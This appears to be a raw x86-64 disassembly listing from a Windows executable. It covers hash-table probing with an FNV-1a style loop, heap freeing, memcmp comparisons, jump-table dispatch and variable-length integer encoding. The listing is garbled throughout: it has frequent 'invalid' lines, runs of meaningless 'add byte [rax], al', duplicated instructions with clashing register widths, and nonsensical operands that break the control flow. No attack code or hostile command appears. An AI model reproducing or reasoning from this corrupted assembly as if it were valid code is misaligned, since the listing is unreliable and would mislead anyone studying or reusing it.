imul r9, rsi
mov r8, r9
dec r11
jne 0x140029860
cmp r10, 8
jae 0x140029d27
jmp 0x140029d98
cmp eax, 0x194
je 0x140029c42
cmp eax, 0x1f4
jne 0x14002942c
sti
invalid
invalid
mov eax, 0xe
jmp 0x140029c50
movabs r8, 0x2cdcdc0dfc5d1141
jmp case.0x14002b679.1
movabs r8, 0xe6bd86443df8ce07
jmp case.0x14002b679.1
movabs r8, 0xc7c2bf3b330983e6
jmp case.0x14002b679.1
movabs r8, 0xde21504f16dc720
jmp case.0x14002b679.1
movabs r8, 0x6ad26a20123ba583
jmp case.0x14002b679.1
xor r14d, r14d
test r12, r12
je 0x1400299dc
movabs rax, 0x555555555555556
cmp r12, rax
jae 0x14002ba88
mov rax, rbx
shl rax, 4
shl eax, 4
shl eax, 4
lea r15, [rax + rax*2]
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r15
call fcn.1400e0010
test rax, rax
je 0x14002ba7b
lea rcx, [r12 - 1]
lea r8, [r12 - 2]
mov rdx, rax
cmp r8, 7
mov r15d, dword [rsp + 0x94]
jb 0x1400299b2
mov r8, rcx
and r8, 0xfffffffffffffff8
mov rdx, rax
nop dword [rax]
mov qword [rdx], 0
mov qword [rdx + 0x18], 0
mov qword [rdx + 0x30], 0
mov qword [rdx + 0x48], 0
mov qword [rdx + 0x60], 0
mov qword [rdx + 0x78], 0
mov qword [rdx + 0x90], 0
mov qword [rdx + 0xa8], 0
add rdx, 0xc0
add r8, 0xfffffffffffffff8
jne 0x140029960
and ecx, 7
loope 0x1400299bc
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
add rdx, 0x18
invalid
mov qword [rdx], 0
add rdx, 0x18
dec rcx
jne 0x1400299c0
mov qword [rdx], 0
mov dword [rdx], 0
jmp 0x1400299dc
xor r14d, r14d
mov r8, qword [rsp + 0x88]
mov rcx, qword [r8 + 0x18]
sbb byte [rbp - 0x77], cl
invalid
sbb byte [rcx - 0x77], cl
and byte [rbp - 0x77], cl
invalid
sub byte [rcx - 0x73], cl
push rsp
and al, 0xff
mov qword [r8 + 0x50], rdx
cmp r14, rbx
ja 0x14002ba5a
lea r8, [r14 + r14*2]
lea r8, [rsi + r8*8]
jne 0x140029b50
mov r9, rsi
test r14, r14
mov r14, rbp
jne 0x140029b18
test rcx, rcx
je 0x140029a3a
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
mov rbx, r12
lea r13, [rsp + 0x160]
mov r12, qword [rsp + 0x260]
mov r8, qword [rsp + 0x50]
test rbx, rbx
fisttp dword [rdi]
test dword [rsi - 4], ebp
invalid
invalid
fisttp dword [rdi]
test dword [rsi - 4], ebp
invalid
mov eax, 4
lea rcx, [rsp + 0xc8]
cmp byte [rsp + 0xbc], 0
jne case.default.0x140029ae8
mov qword [rsp + 0xc8], r8
mov eax, 1
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x3e0]
mov qword [rcx + 0x40], rdx
push rcx
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
sub byte [rsp + 0x3b0], cl
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
rol byte [rbx], 1
add byte [rax], al
rol byte [rbx], 1
add byte [rax], al
movups xmmword [rcx + 0x30], xmm3
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
add byte [rax], al
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbx, qword [rsp + 0x280]
add bh, bh
invalid
add bh, bh
loopne 0x140029b51
nop dword [rax + rax]
invalid
lea rdi, [rax + rbx*8]
mov qword [rdi], 1
mov qword [rdi + 8], r10
mov qword [rdi + 0x10], r11
mov rdi, qword [rsp + 0xb0]
add r9, 0x18
cmp r9, r8
je 0x140029a23
test byte [rbx], cl
invalid
cmp qword [r9], 0
je 0x140029b0b
mov r10, qword [r9 + 8]
mov r11, qword [r9 + 0x10]
mov rbx, r11
and rbx, rdx
nop dword [rax]
mov rdi, rbx
mov ebx, 0
cmp rdi, r12
jae 0x140029b30
lea rbx, [rdi + rdi*2]
sbb al, 0x7f
cmp qword [rax + rbx*8], 0
je 0x140029af0
inc rdi
mov rbx, rdi
jmp 0x140029b30
lea r9, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
lea r9, [rsi + r9*8]
lea ecx, [rsi + rcx*8]
mov r10, r8
jmp 0x140029b90
lea rbx, [rax + r15*8]
mov qword [rbx], 1
mov qword [rbx + 8], r11
mov qword [rbx + 0x10], rdi
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add byte [rcx - 0x7d], cl
ret 0x4d18
invalid
add r10, 0x18
cmp r10, r9
je 0x140029a14
cmp qword [r10], 0
je 0x140029b83
mov r11, qword [r10 + 8]
mov rdi, qword [r10 + 0x10]
mov r15, rdi
and r15, rdx
xlatb
xlatb
nop word cs:[rax + rax]
mov rbx, r15
mov r15d, 0
cmp rbx, r12
jae 0x140029bb0
lea r15, [rbx + rbx*2]
lea edi, [rbx + rbx*2]
cmp qword [rax + r15*8], 0
je 0x140029b60
inc rbx
mov r15, rbx
jmp 0x140029bb0
mov eax, 0
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
sete cl
mov rax, rcx
or rax, 6
mov qword [rsp + 0x50], rax
and al, 0x50
test cl, cl
je 0x140029043
invalid
invalid
invalid
mov rax, qword [rsp + 0x50]
jmp 0x140029c50
movzx ecx, byte [rsp + 0x490]
mov dword [rsp + 0x94], r15d
call fcn.14002e9e0
mov rbx, rax
mov ebx, eax
mov rsi, rdx
mov esi, edx
movzx r11d, byte [rsp + 0x4f]
mov r15d, dword [rsp + 0x94]
and al, 0x94
add byte [rax], al
add byte [rbp - 0x7c], al
test bl, bl
and al, 0x94
add byte [rax], al
add byte [rbp - 0x7c], al
test bl, bl
invalid
test dword [rcx], eax
cmc
invalid
test bl, bl
jne 0x140029130
jmp 0x140029185
cmc
invalid
mov eax, 8
jmp 0x140029c50
mov eax, 0xb
jmp 0x140029c50
mov eax, 0xd
or eax, 0xeb000000
invalid
add byte [rax], al
jmp 0x140029c50
mov eax, 9
add byte [rsi - 0x70], ah
nop
mov rbp, rax
mov qword [rsp + 0xc8], rax
enter 0, 0
enter 0, 0
mov rax, qword [rsp + 0x158]
pop rax
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0xd0]
add byte [rax], al
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
add byte [rax], al
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
pop rcx
invalid
add qword [rax], rax
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
pop rcx
invalid
pop rcx
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x20], xmm2
push rcx
and byte [rdi], cl
adc dword [rcx + 0x10], ecx
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], 0
add dword [rax - 0x39], ecx
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xc0], 0
add byte [rax - 0x75], cl
and al, 0x60
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140029cd2
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
or bpl, 0x80
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aeb1
mov qword [rsp + 0x60], rax
jmp 0x14002b300
movzx ecx, byte [rsp + 0x3a8]
xor r8, rcx
imul r8, rdx
jmp case.0x14002b679.1
mov r9, r8
mov rdx, rcx
movabs rsi, 0x100000001b3
cmp r10, 8
jb 0x140029d98
add rcx, r10
nop word [rax + rax]
movzx r8d, byte [rdx]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 1]
xor r9, r8
imul r9, rsi
movzx r8d, byte [rdx + 2]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 3]
xor r9, r8
imul r9, rsi
movzx r8d, byte [rdx + 4]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 5]
xor r9, r8
xor ecx, eax
imul r9, rsi
movzx r8d, byte [rdx + 6]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 7]
add rdx, 8
xor r9, r8
imul r9, rsi
cmp rdx, rcx
jne 0x140029d30
mov r8, r9
nop dword [rax + rax]
movzx r9d, r8w
mov rdx, qword [rsp + 0x88]
mov rsi, qword [rdx + 0x50]
mov ecx, r9d
and ecx, esi
mov r13, qword [rdx + 0x20]
mov r10, qword [rdx + 0x30]
mov r11, qword [rdx + 0x58]
mov r8, qword [rdx + 0x48]
mov qword [rsp + 0x208], r8
mov dword [rsp + 0x208], eax
mov dword [rsp + 0x208], eax
test byte [rax + rcx], ah
add al, byte [rax]
add byte [rbx + rcx*4 + 0x42], cl
invalid
mov r8, qword [rdx + 0x40]
mov qword [rsp + 0x450], r8
mov qword [rsp + 0x450], r8
mov qword [rsp + 0x450], r8
mov r12, qword [rdx + 0x38]
mov rdx, qword [rsp + 0x3a0]
mov qword [rsp + 0x298], rdx
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add eax, dword [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x90
add eax, dword [rax]
add byte [rax], al
movzx edx, byte [rsp + 0x3a8]
invalid
xchg esp, eax
and al, 0x78
js 0x140029e0c
mov rdx, qword [rsp + 0x3a8]
mov qword [rsp + 0x390], rdx
add byte [rax], al
add byte [rax], al
movzx edx, byte [rsp + 0x3a8]
mov byte [rsp + 0x278], dl
js 0x140029e0c
add byte [rax], al
js 0x140029e0c
add byte [rax], al
mov rdx, qword [rsp + 0x3b0]
mov qword [rsp + 0x290], rdx
and al, 0x90
add al, byte [rax]
invalid
and al, 0x90
add al, byte [rax]
add byte [rdi], cl
movzx eax, al
movzx eax, al
mov qword [rsp + 0x98], rax
xor edi, edi
mov qword [rsp + 0x2a0], r14
jmp 0x140029e60
add byte [rax], al
add byte [rcx], dh
dec dword [rcx + rcx*4 - 0x4c]
and al, 0xa0
add al, byte [rax]
add bl, ch
sub eax, 0x4b9
mov ecx, 4
invalid
invalid
mov word [rax + rbx*4], fs
mov ecx, 4
cmp rcx, qword [rsp + 0x98]
je case.0x14008c40b.453
add byte [rax], al
add byte [rdi], cl
test byte [rsi + 0x48000001], bl
inc rdi
inc edi
inc r15
mov rcx, r15
mov r14, qword [rsp + 0x2a0]
mov esi, dword [rsp + 0x2a0]
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
iretd
mov r15, rcx
mov ecx, 0
add byte [rax], al
add byte [rcx + 0x39], cl
fbstp tbyte [rbx - 0xd]
add byte [rax], al
add byte [rcx + 0x39], cl
fbstp tbyte [rbx - 0xd]
lea rax, [r15 + r15*2]
add al, 0x7f
cmp qword [r13 + rax*8], 0
je 0x14002a2fd
add byte [rax + rax], 0
add byte [rax + rax], 0
lea rax, [rax*8]
lea eax, [rax*8]
add byte [rax], al
add rax, r13
mov rcx, qword [rax + 0x10]
mov rdx, rcx
mov edx, ecx
adc byte [rax - 0x77], cl
retf 0x2148
mov edx, ecx
and rdx, rsi
mov r8, r15
sub r8, rdx
and r8, rsi
ror byte [rcx + 0x21], 1
invalid
cmp r8, rdi
cmp eax, edi
jb 0x14002a37a
add al, 0
add byte [rcx + rdi - 0x37], cl
cmp rcx, r9
cmp rcx, r9
leave
jne 0x140029e46
mov rbp, qword [rax + 8]
lea r14, [r11 + rbp]
push 0x348d4d08
sub ecx, dword [rcx + rdi - 0x4c]
cmp qword [rsp + 0x208], r14
invalid
cmp qword [rsp + 0x208], r14
add byte [rax], al
jbe 0x14002b90f
xchg byte [rax + 0x1a], dl
add byte [rax], al
mov rax, qword [rsp + 0x450]
add rax, r14
and al, 0x50
add al, 0
add byte [rcx + rax - 0x10], cl
xor ecx, ecx
cmp rax, r10
cmp eax, edx
cmp eax, edx
jb 0x140029ed6
mov rdx, r10
jmp 0x140029ed8
shr bl, cl
add dh, byte [rcx]
ror byte [rax + 0x29], cl
ror byte [rax - 0x73], 1
add al, 0x40
xor edx, edx
sub rax, rdx
lea rax, [rax + rax*2]
shl rax, 5
movzx edx, byte [r12 + rax + 0x50]
add eax, 0x54b60f41
add al, 0x50
lea r8d, [rdx - 2]
cmp r8b, 6
clc
invalid
cmp al, 6
clc
invalid
jae case.default.0x140029f09
dec dl
movzx ecx, dl
movzx ecx, cl
mov dh, 0xc9
lea r8, [0x140172f10]
movsxd rdx, dword [r8 + rcx*4]
add rdx, r8
jmp rdx
cmp qword [rsp + 0x98], 0
jne 0x140029e46
invalid
invalid
add byte [rax], al
add byte [rdi], cl
test dword [rdi + rdi*8], ebp
invalid
invalid
add rax, r12
add eax, esp
cmp qword [rsp + 0x298], 0
sete dl
mov rcx, qword [rax + 0x10]
test rcx, rcx
setne r8b
cmp r8b, dl
je 0x140029e46
test rcx, rcx
je 0x140029fd3
mov rcx, qword [rsp + 0x290]
cmp qword [rax + 0x20], rcx
cmp dword [rax + 0x20], ecx
and al, 0x90
add al, byte [rax]
add byte [rax + 0x39], cl
cmp dword [rax + 0x20], ecx
invalid
test esi, ebp
invalid
cmp dword [rax + 0x20], ecx
jne 0x140029e46
mov rcx, qword [rax + 0x18]
mov rdx, qword [rsp + 0x390]
mov r8, qword [rsp + 0x290]
mov qword [rsp + 0x288], r9
mov qword [rsp + 0x3f0], r10
invalid
mov dword [rsp + 0x3f0], edx
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
add al, ch
mov qword [rsp + 0x200], r11
call sub.VCRUNTIME140.dll_memcmp
jle 0x140029f17
or eax, 0x9c8b4c00
and al, 0
add al, byte [rax]
add byte [rax], al
jle 0x140029f17
or eax, 0x9c8b4c00
and al, 0
add al, byte [rax]
add byte [rax], al
mov r10, qword [rsp + 0x3f0]
mov r9, qword [rsp + 0x288]
test eax, eax
invalid
invalid
popfq
invalid
add byte [rax], al
mov r10, qword [rsp + 0x3f0]
mov r9, qword [rsp + 0x288]
test eax, eax
jne 0x140029e46
jmp case.0x14008c40b.453
mov ecx, 2
jmp case.0x140029f09.1
add byte [rax], al
add cl, ch
cmp esi, 0xffffffff
invalid
mov ecx, 3
jmp case.0x140029f09.1
mov ecx, 5
add byte [rax], al
jmp case.0x140029f09.1
mov ecx, 6
jmp case.0x140029f09.1
movzx ecx, byte [rsp + 0x278]
cmp byte [rax + 0x18], cl
jne 0x140029e46
add byte [rax], bh
sbb byte [rdi], cl
test dword [rdx - 2], esp
invalid
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x240], xmm3
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x230], xmm2
mov r13, qword [rsp + 0x3e0]
mov qword [rsp + 0x250], r13
lodsb al, byte [rsi]
and al, 0x50
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x10
add al, byte [rax]
add byte [rsi - 0x77], ah
test byte [rax + rbx*4], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
and al, 0x78
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x1f
add al, byte [rax]
add cl, al
loopne 0x14002a077
lodsb al, byte [rsi]
and al, 0x50
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x10
add al, byte [rax]
add byte [rsi - 0x77], ah
test byte [rax + rbx*4], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
and al, 0x78
and al, 0x78
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x1f
add al, byte [rax]
add cl, al
loopne 0x14002a077
movzx ecx, word [rsp + 0x21d]
or ecx, eax
shl rcx, 0x20
loope 0x14002a095
loope 0x14002a095
mov eax, dword [rsp + 0x219]
or rax, rcx
mov rcx, qword [rsp + 0x211]
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4e8], rcx
and al, 0x19
add al, byte [rax]
add byte [rax + 9], cl
enter 0xffffffffffff8b48, 0xffffffffffffff8c
and al, 0x11
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add al, 0
add byte [rax + 0xf], cl
movsb byte [rdi], byte [rsi]
enter 0x4808, 0xffffffffffffff89
or byte [rax - 0x77], cl
add byte [rax], al
shld rax, rcx, 8
mov qword [rsp + 0x288], rax
mov eax, r13d
or byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
and al, 0x88
add al, byte [rax]
add byte [rcx + rcx*4 - 0x18], al
or al, 0xf8
mov byte [rsp + 0x290], al
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x3f0], rax
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
mov rsi, qword [rsp + 0x208]
mov qword [rsp + 0xa8], r13
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0x98
cwde
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
invalid
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0x98
cwde
cwde
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add al, 0
add byte [rcx + rax - 0x10], cl
mov rax, qword [rsp + 0x450]
add rax, r14
cmp rax, r10
mov ecx, 0
cmovae rcx, r10
sub rax, rcx
lea rbx, [rax + rax*2]
lea ebx, [rax + rax*2]
lea ebx, [rax + rax*2]
shl rbx, 5
movzx eax, byte [r12 + rbx + 0x50]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx ecx, al
mov eax, 0
add byte [rdi], cl
enter 0xffffffffffff8d49, 0x44
sbb al, 0x10
add byte [rdi], cl
enter 0xffffffffffff8d49, 0x44
sbb al, 0x10
movzx ecx, cl
lea rdx, [0x140172f2c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp byte [rsp + 0x290], 0xfa
mov esp, 0x29024
add dl, bh
jae 0x14002a2d0
mov rcx, qword [rsp + 0x390]
cmp qword [rax + 0x30], rcx
xor byte [rdi], cl
test dword [rbp + 1], ebx
add dword [rax], eax
invalid
mov word [rax + rdx*4], fs
add eax, dword [rax]
add byte [rax + 0x39], cl
xor byte [rdi], cl
test dword [rbp + 1], ebx
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rax + 0x28]
mov rdx, qword [rsp + 0x3f0]
sub byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf0
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7c], cl
mov r8, qword [rsp + 0x390]
invalid
jmp 0x14002a18a
invalid
mov r8, qword [rsp + 0x390]
jmp 0x14002a277
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x80], al
cmp r13b, 5
je 0x14002a25d
add byte [rax], al
invalid
add byte [rax], al
cmp r13b, 5
je 0x14002a25d
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
xor eax, 0x41000001
cmp r13b, 3
jmp 0x14002a2d0
cmp r13b, 3
jne 0x14002a2d0
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x98
add al, byte [rax]
movzx ecx, word [rsp + 0x298]
cmp byte [rax], cl
jne 0x14002a2d0
add byte [rax], bh
or byte [rdi], cl
test dword [rbx], ebx
add dword [rax], eax
add byte [rdi], cl
movzx ecx, word [rsp + 0x298]
cmp cl, 0xa
mov bh, 0x8c
and al, 0x98
add al, byte [rax]
add byte [rax - 0x7bf0f507], al
je 0x14002a25d
movzx ecx, cl
je 0x14002a25d
movzx ecx, cl
cmp ecx, 9
jne 0x14002a7a2
stc
or dword [rdi], ecx
test eax, edx
add eax, 0xb70f0000
movzx ecx, word [rax + 0xd]
movzx edx, byte [rax + 0xf]
or rax, 0xf50b60f
shl edx, 0x10
or edx, ecx
retf 0xc148
loop 0x14002a203
mov ecx, dword [rax + 9]
or rcx, rdx
ror dword [rax - 0x75], 1
push rax
add dword [rax + 0x33], ecx
xchg esp, eax
and al, 0xe8
add al, 0
add byte [rax + 0x33], cl
mov word [rax + rsi*8], fs
add al, 0
invalid
retf 0xc148
ror dword [rax - 0x75], 1
push rax
add dword [rax + 0x33], ecx
xchg esp, eax
and al, 0xe8
add al, 0
add byte [rax + 0x33], cl
mov word [rax + rsi*8], fs
add al, 0
add byte [rcx - 0x48], cl
movabs r8, 0xffffffffffffff
and rcx, r8
add byte [rcx + riz - 0x3f], cl
mov r8, qword [rsp + 0x98]
or rcx, rdx
jne 0x14002a2d0
invalid
mov ch, 0
add byte [rax], al
cwde
add byte [rax], al
add byte [rax + 9], cl
ror dword [rdi], 1
test dword [rbp + 0x44000000], esi
cmp byte [rax + 0x10], al
add byte [rax], al
cmp byte [rax + 0x10], r8b
jne 0x14002a2d0
jmp 0x14002a7a2
cmp r13b, 4
je 0x14002a25d
jmp 0x14002a2d0
cmp r13b, 2
jne 0x14002a2d0
xchg ecx, eax
add byte [rax], al
add byte [rax], al
xchg ecx, eax
add byte [rax], al
add byte [rax], al
cmp qword [rax + 0x10], r8
jne 0x14002a2d0
xchg dword [rax], eax
add byte [rax], al
mov rcx, qword [rax + 8]
add byte [rax], al
cmp qword [rax + 0x10], r8
jne 0x14002a2d0
xchg dword [rax], eax
add byte [rax], al
xchg dword [rax], eax
add byte [rax], al
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x288]
mov edx, dword [rsp + 0x288]
jmp 0x14002a26f
cmp r13b, 6
jne 0x14002a2d0
cmp qword [rax + 0x10], r8
jne 0x14002a2d0
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x278]
mov r8, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rcx + rcx*4 - 0x32], cl
invalid
mov rsi, r9
invalid
mov r13, r10
call sub.VCRUNTIME140.dll_memcmp
mov r8, qword [rsp + 0x98]
add byte [rax], al
add byte [rax], al
mov r11, qword [rsp + 0x200]
mov r10, r13
mov r13, qword [rsp + 0xa8]
mov r9, rsi
int1
int1
mov rsi, qword [rsp + 0x208]
test eax, eax
jne 0x14002a2d0
jmp 0x14002a7a2
cmp r13b, 7
jne 0x14002a2d0
movzx ecx, word [rsp + 0x298]
cmp word [rax], cx
je 0x14002a7a2
nop dword [rax + rax]
cmp rsi, r14
jbe 0x14002b927
cmp qword [r12 + rbx], 0
je 0x14002a512
add al, byte cs:[rax]
invalid
add al, byte cs:[rax]
add byte [rcx + rax - 0x1d], cl
invalid
add rbx, r12
jrcxz 0x14002a330
mov rbp, qword [rbx + 8]
mov ebp, dword [rbx + 8]
or byte [rbp - 0x73], cl
xor al, 0x2b
lea r14, [r11 + rbp]
cmp rsi, r14
ja 0x14002a100
or dh, bh
invalid
invalid
or dh, bh
invalid
jmp 0x14002b93f
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x50]
cmp byte [rax - 0x75], cl
and al, 0x50
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
xor byte [rcx + rcx*4 + 0x7c], cl
and al, 0x28
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x398]
lea r8, [rsp + 0x3a0]
call fcn.14002be20
and al, 0xa0
add eax, dword [rax]
add al, ch
out 0x1a, al
add byte [rax], al
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
mov rdi, qword [rsp + 0xb0]
mov r12, qword [rsp + 0x260]
mov r15d, dword [rsp + 0x94]
jmp rax
mov rax, qword [rsp + 0xa8]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
lea r8, [rsp + 0x3a0]
call fcn.14002be20
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsp + 0xb0]
mov r12, qword [rsp + 0x260]
mov r15d, dword [rsp + 0x94]
jmp rax
mov rsi, qword [rsp + 0xc8]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rsi, 0x7f
jae 0x14002a420
mov rbp, rsi
cmp rcx, rax
je 0x140029cb9
invalid
invalid
invalid
jmp 0x140029cd2
cmp rcx, rax
jne 0x14002a43e
mov edx, 1
lea rcx, [rsp + 0x58]
and al, 0x58
and al, 0x58
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x58]
and al, 0x58
mov byte [rdx + rax], 0xff
inc rax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
cmp rax, rcx
ja case.default.0x14002aeb1
add rsi, 0xffffffffffffff81
mov qword [rsp + 0x60], rax
cmp rsi, 0x80
jb 0x14002a4cd
nop dword [rax]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a493
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aeb1
mov qword [rsp + 0x60], rax
mov rcx, rsi
shr rcx, 7
cmp rsi, 0x3fff
mov rsi, rcx
ja 0x14002a470
invalid
invalid
movabs dword [0xc1394868244c8b48], eax
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a4f0
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov byte [rdx + rax], sil
mov byte [rdx + rax], dh
inc rax
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff860f, 0xffffffffffffffe6
idiv edi
invalid
invalid
jmp case.default.0x14002aeb1
add byte [rax], al
test r13b, r13b
je case.default.0x14002a5ba
cmp byte [rsp + 0x290], 0xfa
and al, 0x90
add al, byte [rax]
add dl, bh
jae case.default.0x14002a5ba
xchg ebx, eax
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
invalid
invalid
add r14, 0x3e
mov qword [rsp + 0xc8], r14
add byte [rax], al
mov rax, qword [rsp + 0x3e0]
loopne 0x14002a53e
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
invalid
add eax, dword [rax]
invalid
add byte [rax], al
lea rcx, [rsp + 0xd0]
lea ecx, [rsp + 0xd0]
add byte [rax], al
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
invalid
add eax, dword [rax]
invalid
movabs al, byte [0xb0248c280f000003]
movaps xmm1, xmmword [rsp + 0x3b0]
and al, 0xb0
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], dl
add byte [rax], al
